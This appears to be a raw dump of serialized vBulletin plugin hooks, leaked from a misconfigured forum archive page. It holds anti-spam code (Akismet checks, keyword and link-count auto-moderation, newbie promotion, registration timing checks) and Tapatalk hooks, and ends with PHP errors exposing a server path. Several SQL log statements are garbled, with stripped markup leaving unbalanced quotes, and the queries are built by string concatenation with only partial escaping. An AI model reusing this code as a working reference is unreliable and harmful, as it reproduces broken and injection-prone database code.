clean_options_list($vbulletin->options[$option]); } $checkuser = $vbulletin->db->query_first("SELECT * FROM " . TABLE_PREFIX . "user WHERE userid=".$vbulletin->userinfo['userid']); if ((!is_member_of($checkuser, explode(",", $vbulletin->options['glowhostspamomatic_bsc_protect_group']))) && (!in_array($vbulletin->userinfo['userid'], explode(",", $vbulletin->options['glowhostspamomatic_bsc_protect_user'])))) { if (($vbulletin->userinfo['posts'] < $vbulletin->options['glowhostspamomatic_akismet_postcount']) || ($vbulletin->options['glowhostspamomatic_akismet_postcount'] == 0)) { // check for postcount is lower than specified in settings $key = $vbulletin->options['glowhostspamomatic_akismet_key']; $vbghsfs_host = $key.'.rest.akismet.com'; $comment['user_ip'] = $_SERVER['REMOTE_ADDR']; $comment['user_agent'] = $_SERVER['HTTP_USER_AGENT']; $comment['referrer'] = $_SERVER['HTTP_REFERER']; $comment['blog'] = $vbulletin->options['bburl']; $comment['comment_author'] = $vbulletin->userinfo['username']; $comment['comment_content'] = $post['message']; if (SOM_AkismetCheckComment($comment, $vbghsfs_host)) { $dataman->set('visible', 0); $post['visible'] = 0; $sql = 'INSERT INTO '.TABLE_PREFIX.'glowhostspamomatic_log(`date`, `ip`, `email`, `username`, `message`, `is_blocked`, `user_hash`) VALUES (now(), "'.addslashes($_SERVER['REMOTE_ADDR']).'", "'.addslashes($vbulletin->userinfo['email']).'", "'.addslashes($vbulletin->userinfo['username']).'", "config[Misc][modcpdir].'/moderate.php?do=posts\">Post put under moderation based on Akismet result", "0", ""); '; $vbulletin->db->query($sql); $sql = 'UPDATE '.TABLE_PREFIX.'glowhostspamomatic_stats SET moderated = moderated + 1; '; $vbulletin->db->query($sql); } } } } ";s:20:"threadfpdata_presave";s:5343:" $skip_post = false; if (!empty($this->info['is_automated'])) if ($this->info['is_automated'] == 'rss') { $skip_post = true; } if (!$skip_post) { //Let's create new group for newbies members $is_noob_user = false; $noob_group_id = $this->registry->options['glowhostspamomatic_noob_group_id']; $checkuser = $this->dbobject->query_first("SELECT * FROM " . TABLE_PREFIX . "user WHERE userid=".$this->registry->userinfo['userid']); if (is_member_of($checkuser, $noob_group_id)) $is_noob_user = true; require_once('includes/functions_ghsom.php'); $is_protected_user = false; foreach (array('glowhostspamomatic_bsc_protect_group', 'glowhostspamomatic_bsc_protect_user') as $option) { $this->registry->options[$option] = clean_options_list($this->registry->options[$option]); } if ((is_member_of($checkuser, explode(",", $this->registry->options['glowhostspamomatic_bsc_protect_group']))) || (in_array($this->registry->userinfo['userid'], explode(",", $this->registry->options['glowhostspamomatic_bsc_protect_user'])))) { $is_protected_user = true; } if ($this->registry->userinfo['userid'] == 0) { $is_protected_user = false; } if ($this->registry->options['glowhostspamomatic_automodenabled'] == 1) { //automod enabled $automod_apply = false; if ($this->registry->options['glowhostspamomatic_noob_enabled'] == 1) { if ($this->registry->options['glowhostspamomatic_noob_restrict_automod'] == 1) { // noob enabled and automod restricted.... check the group if ($is_noob_user) $automod_apply = true; // he-he, let's apply auto-mod } else if (!$is_protected_user) $automod_apply = true; // no restriction.... only automod settings matter } else if (!$is_protected_user) $automod_apply = true; // noob disabled.... only automod settings matter if ($automod_apply) { if (($this->registry->userinfo['posts'] < $this->registry->options['glowhostspamomatic_automodpostcount']) || ($this->registry->options['glowhostspamomatic_automodpostcount'] == 0)) { // check for postcount is lower than specified in settings $keywords = explode("\n", $this->registry->options['glowhostspamomatic_automodkeywords']); $keywords = array_map('trim', $keywords); if (str_replace($keywords, '', strtolower($this->fetch_field('pagetext', 'post'))) != strtolower($this->fetch_field('pagetext', 'post')) && !can_moderate()) { if ($this->registry->options['glowhostspamomatic_automodpostaction'] == 1) standard_error(fetch_error('glowhostspamomatic_reject_post', $query)); else { $this->set('visible', 0); $sql = 'INSERT INTO '.TABLE_PREFIX.'glowhostspamomatic_log(`date`, `ip`, `email`, `username`, `message`, `is_blocked`, `user_hash`) VALUES (now(), "'.addslashes($_SERVER['REMOTE_ADDR']).'", "'.addslashes($this->registry->userinfo['email']).'", "'.addslashes($this->registry->userinfo['username']).'", "registry->config['Misc']['modcpdir'].'/moderate.php?do=posts\">Post put under moderation based on Auto-Moderation Keywords", "0", ""); '; $this->dbobject->query($sql); $sql = 'UPDATE '.TABLE_PREFIX.'glowhostspamomatic_stats SET moderated = moderated + 1; '; $this->dbobject->query($sql); } } else { $link_count = substr_count(strtolower($this->fetch_field('pagetext', 'post')), 'http:'); $link_count += substr_count($this->fetch_field('pagetext', 'post'), '@'); if (($link_count > $this->registry->options['glowhostspamomatic_automodurls']) && !can_moderate()) { if ($this->registry->options['glowhostspamomatic_automodpostaction'] == 1) standard_error(fetch_error('glowhostspamomatic_reject_post', $query)); else { $this->set('visible', 0); $sql = 'INSERT INTO '.TABLE_PREFIX.'glowhostspamomatic_log(`date`, `ip`, `email`, `username`, `message`, `is_blocked`, `user_hash`) VALUES (now(), "'.addslashes($_SERVER['REMOTE_ADDR']).'", "'.addslashes($this->registry->userinfo['email']).'", "'.addslashes($this->registry->userinfo['username']).'", "registry->config['Misc']['modcpdir'].'/moderate.php?do=posts\">Post put under moderation based on Auto-Moderation URL count", "0", ""); '; $this->dbobject->query($sql); $sql = 'UPDATE '.TABLE_PREFIX.'glowhostspamomatic_stats SET moderated = moderated + 1; '; $this->dbobject->query($sql); } } } } } } if ($this->registry->options['glowhostspamomatic_noob_enabled'] == 1) { if ($this->registry->options['glowhostspamomatic_noob_autopromote'] == 1) { if ($is_noob_user) { // he-he, let's apply auto-mod if ($this->registry->userinfo['posts'] >= $this->registry->options['glowhostspamomatic_noob_promotepostcount']) { $sql = 'UPDATE `'.TABLE_PREFIX.'user` SET `usergroupid` = '.$this->registry->options['glowhostspamomatic_noob_reg_ugroup'].' WHERE `userid` = '.$this->registry->userinfo['userid'].'; '; $this->dbobject->query($sql); } } } } } ";s:16:"postdata_presave";s:5351:" $skip_post = false; if (!empty($this->info['is_automated'])) if ($this->info['is_automated'] == 'rss') { $skip_post = true; } if (!$skip_post) { //Let's create new group for newbies members $is_noob_user = false; $noob_group_id = $this->registry->options['glowhostspamomatic_noob_group_id']; $checkuser = $this->dbobject->query_first("SELECT * FROM " . TABLE_PREFIX . "user WHERE userid=".$this->registry->userinfo['userid']); if (is_member_of($checkuser, $noob_group_id)) $is_noob_user = true; require_once('includes/functions_ghsom.php'); $is_protected_user = false; foreach (array('glowhostspamomatic_bsc_protect_group', 'glowhostspamomatic_bsc_protect_user') as $option) { $this->registry->options[$option] = clean_options_list($this->registry->options[$option]); } if ((is_member_of($checkuser, explode(",", $this->registry->options['glowhostspamomatic_bsc_protect_group']))) || (in_array($this->registry->userinfo['userid'], explode(",", $this->registry->options['glowhostspamomatic_bsc_protect_user'])))) { $is_protected_user = true; } if ($this->registry->userinfo['userid'] == 0) { $is_protected_user = false; } if ($this->registry->options['glowhostspamomatic_automodenabled'] == 1) { //automod enabled $automod_apply = false; if ($this->registry->options['glowhostspamomatic_noob_enabled'] == 1) { if ($this->registry->options['glowhostspamomatic_noob_restrict_automod'] == 1) { // noob enabled and automod restricted.... check the group if ($is_noob_user) $automod_apply = true; // he-he, let's apply auto-mod } else if (!$is_protected_user) $automod_apply = true; // no restriction.... only automod settings matter } else if (!$is_protected_user) $automod_apply = true; // noob disabled.... only automod settings matter if ($automod_apply) { if (($this->registry->userinfo['posts'] < $this->registry->options['glowhostspamomatic_automodpostcount']) || ($this->registry->options['glowhostspamomatic_automodpostcount'] == 0)) { // check for postcount is lower than specified in settings $keywords = explode("\n", $this->registry->options['glowhostspamomatic_automodkeywords']); $keywords = array_map('trim', $keywords); if (str_replace($keywords, '', strtolower($this->fetch_field('pagetext', 'post'))) != strtolower($this->fetch_field('pagetext', 'post')) AND !can_moderate()) { if ($this->registry->options['glowhostspamomatic_automodpostaction'] == 1) standard_error(fetch_error('glowhostspamomatic_reject_post', $query)); else { $this->set('visible', 0); $sql = 'INSERT INTO '.TABLE_PREFIX.'glowhostspamomatic_log(`date`, `ip`, `email`, `username`, `message`, `is_blocked`, `user_hash`) VALUES (now(), "'.addslashes($_SERVER['REMOTE_ADDR']).'", "'.addslashes($this->registry->userinfo['email']).'", "'.addslashes($this->registry->userinfo['username']).'", "registry->config['Misc']['modcpdir'].'/moderate.php?do=posts\">Post put under moderation based on Auto-Moderation Keywords", "0", ""); '; $this->dbobject->query($sql); $sql = 'UPDATE '.TABLE_PREFIX.'glowhostspamomatic_stats SET moderated = moderated + 1; '; $this->dbobject->query($sql); } } else { $link_count = substr_count(strtolower($this->fetch_field('pagetext', 'post')), 'http:'); $link_count += substr_count($this->fetch_field('pagetext', 'post'), '@'); if (($link_count > $this->registry->options['glowhostspamomatic_automodurls']) && !can_moderate()) { if ($this->registry->options['glowhostspamomatic_automodpostaction'] == 1) standard_error(fetch_error('glowhostspamomatic_reject_post', $query)); else { $this->set('visible', 0); $sql = 'INSERT INTO '.TABLE_PREFIX.'glowhostspamomatic_log(`date`, `ip`, `email`, `username`, `message`, `is_blocked`, `user_hash`) VALUES (now(), "'.addslashes($_SERVER['REMOTE_ADDR']).'", "'.addslashes($this->registry->userinfo['email']).'", "'.addslashes($this->registry->userinfo['username']).'", "registry->config['Misc']['modcpdir'].'/moderate.php?do=posts\">Post put under moderation based on Auto-Moderation URL count", "0", ""); '; $this->dbobject->query($sql); $sql = 'UPDATE '.TABLE_PREFIX.'glowhostspamomatic_stats SET moderated = moderated + 1; '; $this->dbobject->query($sql); } } } } } } if ($this->registry->options['glowhostspamomatic_noob_enabled'] == 1) { if ($this->registry->options['glowhostspamomatic_noob_autopromote'] == 1) { if ($is_noob_user) { // he-he, let's apply auto-mod if ($this->registry->userinfo['posts'] >= $this->registry->options['glowhostspamomatic_noob_promotepostcount']) { $sql = 'UPDATE `'.TABLE_PREFIX.'user` SET `usergroupid` = '.$this->registry->options['glowhostspamomatic_noob_reg_ugroup'].' WHERE `userid` = '.$this->registry->userinfo['userid'].'; '; $this->dbobject->query($sql); } } } } } ";s:23:"inlinemod_action_switch";s:89:" require_once('includes/functions_ghsom.php'); SOM_cleanupProcess(); ";s:19:"load_show_variables";s:39:"$show['can_see_cms'] = can_see_cms(); ";s:22:"navigation_admin_start";s:148:"if ($navelement['name'] == 'vbtab_cms' AND ($_REQUEST['do'] == 'add' OR $_REQUEST['do'] == 'doadd')) { print_stop_message('cannot_add_cms'); } ";s:15:"online_complete";s:696:"if(!empty($onlinebits) && is_array($onlinebits)) { foreach($onlinebits as $uid => $onlineUser) { if(strpos($onlineUser['useragent'], 'Tapatalk') !== false) $onlinebits[$uid]['action'] = ' '.$onlinebits[$uid]['action']; else if(strpos($onlineUser['useragent'], 'BYO') !== false) $onlinebits[$uid]['action'] = ' '.$onlinebits[$uid]['action']; } } ";s:25:"pmdata_postsave_recipient";s:230:"global $vbulletin; if( file_exists(DIR.'/'.$vbulletin->options['tapatalk_directory'].'/push_hook.php') ) { define('TT_PUSH_TYPE', 'pm'); include(DIR.'/'.$vbulletin->options['tapatalk_directory'].'/push_hook.php'); } ";s:26:"process_templates_complete";s:525:"$show['canpostitems'] = ( $vbulletin->userinfo['permissions']['vbblog_general_permissions'] & $vbulletin->bf_ugp_vbblog_general_permissions['blog_canviewown'] AND $vbulletin->userinfo['permissions']['vbblog_entry_permissions'] & $vbulletin->bf_ugp_vbblog_entry_permissions['blog_canpost'] AND $vbulletin->userinfo['userid'] ); if (STYLEID != $vbulletin->userinfo['blogstyleid']) { $vbulletin->userinfo['blocktext'] = ''; } include(CWD .'/'.$vbulletin->options['tapatalk_directory'].'/smartbanner.php'); ";s:21:"global_setup_complete";s:170:"if ($show['searchbuttons'] AND $show['member']) { $templater = vB_Template::create('myposts_navbar_link'); $template_hook['navbar_end'] .= $templater->render(); } ";s:14:"register_start";s:16346:"function kh99_sbs_main(&$data, $event) { global $vbulletin, $vbphrase; switch ($event) { case 'start': $data['reject_action'] = $vbulletin->options['kh99_sbs_action']; $data['reject_msg'] = $vbulletin->options['kh99_sbs_error']; $data['reject_url'] = $vbulletin->options['kh99_sbs_url']; $data['additional_fields'] = array( 'agree' => TYPE_BOOL, 'options' => TYPE_ARRAY_BOOL, 'parentemail' => TYPE_STR, 'referrername' => TYPE_NOHTML, 'coppauser' => TYPE_BOOL, 'day' => TYPE_UINT, 'month' => TYPE_UINT, 'year' => TYPE_UINT, 'timezoneoffset' => TYPE_NUM, 'dst' => TYPE_UINT, 'userfield' => TYPE_ARRAY, 'showbirthday' => TYPE_UINT ); $data['form_error_phrases'] = array('register_not_agreed' => 'Forum rules were not accepted.', 'noregister' => '', 'alreadyregistered' => 'Already registered under the name of {1}.', 'under_thirteen_registration_denied' => '' ); break; case 'done': if ($vbulletin->options['kh99_sbs_notifyeach'] AND $data['reject']) $data['notifyeach'] = true; break; case 'check_dm_errors': if ($_REQUEST['do'] == 'register') $data['facebook'] = true; if ($data['reject'] AND $data['reject_action'] == 'error') $data['reg_errors'][] = $data['reject_msg']; global $userdata; $userdata->pre_save(); if (is_array($data['reg_errors'])) $userdata->errors = array_merge($userdata->errors, $data['reg_errors']); if (!empty($userdata->errors)) { $data['dm_error'] = true; $data['done'] = true; foreach ($userdata->errors AS $err) $data['msg'][] = construct_phrase($vbphrase['kh99_sbs_vberr'], $err); } break; case 'check_form_errors': $data['form_error'] = true; $data['done'] = true; if (!function_exists('fetch_phrase')) require_once(DIR . '/includes/functions_misc.php'); $args = $data['standard_error_args']; if (is_array($data['form_error_phrases']) AND $data['form_error_phrases'][$args[0]] != '') { $msg = $data['form_error_phrases'][$args[0]]; if (isset($vbphrase[$msg])) $msg = $vbphrase[$msg]; $msg = construct_phrase($msg, $args); } else { $args[0] = fetch_phrase($args[0], 'error', '', false); if (sizeof($args) > 1) $msg = call_user_func_array('construct_phrase', $args); else $msg = $args[0]; } $data['msg'][] = construct_phrase($vbphrase['kh99_sbs_vberr'], $msg); break; case 'successful': $data['successful'] = true; $data['done'] = true; break; } } function kh99_sbs_chkdone(&$data, $event) { if ($event != 'done') { if ($data['reject'] AND $data['reject_action'] != 'error') $data['done'] = true; } } function kh99_sbs_done(&$data, $event) { global $kh99_sbs_data, $kh99_sbs_debug; // die("Done:
    \nData: " . print_r($kh99_sbs_data, true) . "\n\n\nDebug: " . print_r($kh99_sbs_debug, true) . "
    "); if ($data['notifyeach']) kh99_sbs_notifyeach($data); if ($data['reject'] AND $data['reject_action'] != 'error') kh99_sbs_reject($data); } function kh99_sbs_build_summary(&$data, $force = false) { global $vbulletin, $vbphrase; if (!is_array($data['summary']) OR $force) { $vbulletin->input->clean_array_gpc('p', array('username' => TYPE_STR, 'email' => TYPE_STR)); $username = substr($vbulletin->GPC['username'], 0, $vbulletin->options['maxuserlength']); if ($username != $vbulletin->GPC['username']) $username .= '...'; $email = substr($vbulletin->GPC['email'], 0, 50); if ($email != $vbulletin->GPC['email']) $email .= '...'; $data['summary']['username'] = $username; $data['summary']['email'] = $email; $data['summary']['datetime'] = vbdate($vbulletin->options['timeformat']) . ' ' . vbdate($vbulletin->options['dateformat']); $data['summary']['regip'] = IPADDRESS; $data['summary']['useragent'] = substr($_SERVER['HTTP_USER_AGENT'], 0, 253); if ($data['summary']['useragent'] != $_SERVER['HTTP_USER_AGENT']) $data['summary']['useragent'] .= '...'; } } function kh99_sbs_build_additional(&$data) { if (!isset($data['additional']) AND is_array($data['additional_fields'])) { global $vbulletin; $vbulletin->input->clean_array_gpc('p', $data['additional_fields']); $data['additional'] = array(); foreach ($data['additional_fields'] AS $colname => $junk) { $val = $vbulletin->GPC[$colname]; if (is_array($val)) $data['additional'][$colname] = serialize($val); else $data['additional'][$colname] = trim($val); } } } function kh99_sbs_notifyeach(&$data) { global $vbulletin; kh99_sbs_build_summary($data); $username = $data['summary']['username']; $email = $data['summary']['email']; $datetime = $data['summary']['datetime']; $useragent = $data['summary']['useragent']; $regip = $data['summary']['regip']; $regname = $data['summary']['username']; $regemail = $data['summary']['email']; $info = '- ' . implode("\n- ", $data['msg']); eval(fetch_email_phrases('kh99_sbs_notifyeach' . ($data['successful'] ? '_accepted' : ''))); $emails = array_map('trim', explode("\r", $vbulletin->options['kh99_sbs_notifyeach_emails'])); foreach ($emails AS $to) { if (is_valid_email($to)) vbmail($to, $subject, $message, true); } } function kh99_sbs_reject(&$data) { global $vbulletin; switch ($data['reject_action']) { case 'redir': $url = $data['reject_url']; if (empty($url)) $url = fetch_seo_url('forumhome', array()); $vbulletin->url = $url; print_standard_redirect('action_cancelled', true, false, -1, true); break; case 'stealth': $vbulletin->url = str_replace('"', '', $vbulletin->url); if (empty($vbulletin->url) OR strpos($vbulletin->url, 'register.php') !== false) $vbulletin->url = fetch_seo_url('forumhome', array()); if ($vbulletin->options['moderatenewmembers']) eval(standard_error(fetch_error('moderateuser', $vbulletin->GPC['username'], fetch_seo_url('forumhome', array())), '', false)); else { eval(standard_error(fetch_error('registration_complete', $vbulletin->GPC['username'], $vbulletin->session->vars['sessionurl'], fetch_seo_url('forumhome', array())), '', false)); } break; case 'noperm': default: print_no_permission(); } } function kh99_sbs_dump($label, $prev_data) { global $kh99_sbs_data; $msg[] = $label; $msg[] = 'Data: ' . print_r($kh99_sbs_data, true); $msg[] = ''; if (is_array($prev_data)) { $a = array_diff_assoc($kh99_sbs_data, $prev_data); if (!empty($a)) { $msg[] = 'Data Added: ' . print_r($a, true); $msg[] = ''; } $a = array_diff_assoc($prev_data, $kh99_sbs_data); if (!empty($a)) { $msg[] = 'Data Deleted: ' . print_r($a, true); $msg[] = ''; } $msg[] = ''; } $msg[] = ''; $msg[] = ''; $msg[] = ''; return implode("\n", $msg); } function kh99_sbs_callfuncs($event) { global $kh99_sbs_data, $kh99_sbs_funcs; global $vbulletin, $kh99_sbs_debug; if ($vbulletin->debug) $kh99_sbs_debug[] = "\n\n\n***************** Callfuncs $event"; foreach ($kh99_sbs_funcs AS $f) { if ((empty($f['events']) OR in_array($event, $f['events'])) AND isset($f['func']) AND is_callable($f['func'])) { global $vbulletin, $kh99_sbs_debug; if ($vbulletin->debug) $savedata = $kh99_sbs_data; $f['func']($kh99_sbs_data, $event); if ($vbulletin->debug) $kh99_sbs_debug[] = kh99_sbs_dump('Called ' . $f['func'] . ': ', $savedata); } } } function kh99_sbs_process($event, $add_data='') { global $kh99_sbs_data, $kh99_sbs_funcs; if (is_array($add_data)) { foreach ($add_data AS $key => $data) $kh99_sbs_data[$key] = $data; } kh99_sbs_callfuncs($event); if ($event != 'done' AND $kh99_sbs_data['done']) kh99_sbs_callfuncs('done'); } function kh99_sbs_cmporder($a, $b) { if (!isset($a['order'])) return (isset($b['order']) ? -1 : 0); if (!isset($b['order'])) return 1; return ($a['order'] == $b['order'] ? 0 : ($a['order'] > $b['order'] ? 1 : -1)); } function kh99_sbs_addfunc($func, $order=500, $events='') { global $kh99_sbs_funcs; if ($events != '') $events = array_map('trim', explode(',', $events)); $kh99_sbs_funcs[] = array('func' => $func, 'order' => $order, 'events' => $events); uasort($kh99_sbs_funcs, 'kh99_sbs_cmporder'); } if ($vbulletin->options['kh99_sbs_enabled'] AND $_POST['do'] == 'addmember') { $kh99_sbs_data = array(); $kh99_sbs_funcs = array(); kh99_sbs_addfunc('kh99_sbs_main', 100); kh99_sbs_addfunc('kh99_sbs_chkdone', 900); kh99_sbs_addfunc('kh99_sbs_done', 900, 'done'); } function kh99_sbs_regtime_start(&$data, $event) { global $vbulletin, $vbphrase; $vbulletin->input->clean_array_gpc('p', array('sbs_chkvalue' => TYPE_STR, 'start_time' => TYPE_UINT ) ); $chk = $vbulletin->GPC['sbs_chkvalue']; $start = $vbulletin->GPC['start_time']; $timevalid = true; if (empty($chk) OR (md5($vbulletin->kh99_sbs_reg_secret['cur'] . $vbulletin->session->vars['dbsessionhash'] . $start) != $chk AND md5($vbulletin->kh99_sbs_reg_secret['prev'] . $vbulletin->session->vars['dbsessionhash'] . $start) != $chk ) ) { $data['regtime_badchk'] = true; $data['reject'] = true; $data['msg'][] = $vbphrase['kh99_sbs_missingchk']; $timevalid = false; } if ((!$start) OR ($start > TIMENOW)) { $data['regtime_badtime'] = true; $data['reject'] = true; $data['msg'][] = $vbphrase['kh99_sbs_missingst']; $timevalid = false; } if ($timevalid) { $submit_time = TIMENOW - $start; $data['regtime'] = $submit_time; $data['logdata']['filltime'] = $submit_time; if ($submit_time < $vbulletin->options['kh99_sbs_mintime']) { $data['regtime_toofast'] = true; $data['reject'] = true; $data['msg'][] = construct_phrase($vbphrase['kh99_sbs_toofast_x_y'], $vbulletin->options['kh99_sbs_mintime'], $submit_time); } else if (($vbulletin->options['kh99_sbs_maxtime'] > 0) AND ((($vbulletin->options['kh99_sbs_maxtime'] * 60) - $vbulletin->options['kh99_sbs_mintime']) >= 60) ) { $maxtime_valid = true; if ($submit_time > ($vbulletin->options['kh99_sbs_maxtime'] * 60)) { $data['regtime_tooslow'] = true; $data['reject'] = true; $data['reject_action'] = 'redir'; $data['reject_url'] = 'register.php'; $minutes = intval($submit_time / 60); $secs = $submit_time % 60; $data['msg'][] = construct_phrase($vbphrase['kh99_sbs_tooslow_x_y'], $vbulletin->options['kh99_sbs_maxtime'], $minutes, $secs); } } if (!$data['regtime_toofast'] AND !$data['regtime_tooslow']) { if ($maxtime_valid) { $data['msg'][] = construct_phrase($vbphrase['kh99_sbs_inrange_x_y_z'], $vbulletin->options['kh99_sbs_mintime'], $vbulletin->options['kh99_sbs_maxtime'] * 60, $submit_time); } else { $data['msg'][] = construct_phrase($vbphrase['kh99_sbs_inrange_x_y'], $vbulletin->options['kh99_sbs_mintime'], $submit_time); } } if (!empty($vbulletin->options['kh99_sbs_minnotifytime'])) { if (preg_match('#^(\d+)-(\d+)$#', trim($vbulletin->options['kh99_sbs_minnotifytime']), $matches)) { $min = $matches[1]; $max = $matches[2]; } else { $min = intval($vbulletin->options['kh99_sbs_minnotifytime']); $max = $vbulletin->options['kh99_sbs_mintime']; } if ($min > 0 AND ($max > $min)) $data['regtime_innotifyrange'] = ($submit_time >= $min AND $submit_time <= $max); } } } function kh99_sbs_regtime_done(&$data, $event) { global $vbulletin; if ($vbulletin->options['kh99_sbs_notifyeach'] AND isset($data['regtime_innotifyrange'])) $data['notifyeach'] = $data['regtime_innotifyrange']; } if ($vbulletin->options['kh99_sbs_enabled'] AND $_POST['do'] == 'addmember') { kh99_sbs_addfunc('kh99_sbs_regtime_start', 500, 'start'); kh99_sbs_addfunc('kh99_sbs_regtime_done', 500, 'done'); } function kh99_sbs_post(&$data, $event) { global $vbulletin; if ($data['reject'] AND $vbulletin->options['kh99_sbs_post'] AND $vbulletin->options['kh99_sbs_post_threadid'] > 0 AND $vbulletin->options['kh99_sbs_post_userid'] > 0) { if (($threadinfo = fetch_threadinfo($vbulletin->options['kh99_sbs_post_threadid'])) === false) return; kh99_sbs_build_summary($data); $username = htmlspecialchars_uni($data['summary']['username']); $email = htmlspecialchars_uni($data['summary']['email']); $useragent = htmlspecialchars_uni($data['summary']['useragent']); $datetime = $data['summary']['datetime']; $regip = $data['summary']['regip']; $regname = htmlspecialchars_uni($data['summary']['username']); $regemail = htmlspecialchars_uni($data['summary']['email']); $info = '- ' . implode("\n- ", array_map('htmlspecialchars_uni', $data['msg'])); eval(fetch_email_phrases('kh99_sbs_notifyeach' . ($data['successful'] ? '_accepted' : ''))); $dm =& datamanager_init('Post', $vbulletin, ERRTYPE_ARRAY, 'threadpost'); $dm->set_info('forum', fetch_foruminfo($threadinfo['forumid'])); $dm->set_info('thread', $threadinfo); $dm->set_info('is_automated', 'sbs'); $dm->set('threadid', $threadinfo['threadid']); $dm->set('userid', $vbulletin->options['kh99_sbs_post_userid']); $dm->set('title', ''); $dm->set('pagetext', $message); $dm->set('visible', 1); $dm->set('showsignature', 0); $dm->set('allowsmilie', 0); $dm->set('ipaddress', ''); $dm->pre_save(); if (!empty($dm->errors)) { die('Here:
    ' . implode("\n", $dm->errors) . '\n
    '); } $dm->save(); } } if ($vbulletin->options['kh99_sbs_enabled'] AND $_POST['do'] == 'addmember') { kh99_sbs_addfunc('kh99_sbs_post', 800, 'done'); } if ($vbulletin->options['kh99_sbs_enabled'] AND $_POST['do'] == 'addmember') kh99_sbs_process('start'); ";}
    Warning: require_once(DIR/includes/functions_bigthree.php): failed to open stream: No such file or directory in /home/bhm1264/public_html/archive/index.php on line 26

    Fatal error: require_once(): Failed opening required 'DIR/includes/functions_bigthree.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/bhm1264/public_html/archive/index.php on line 26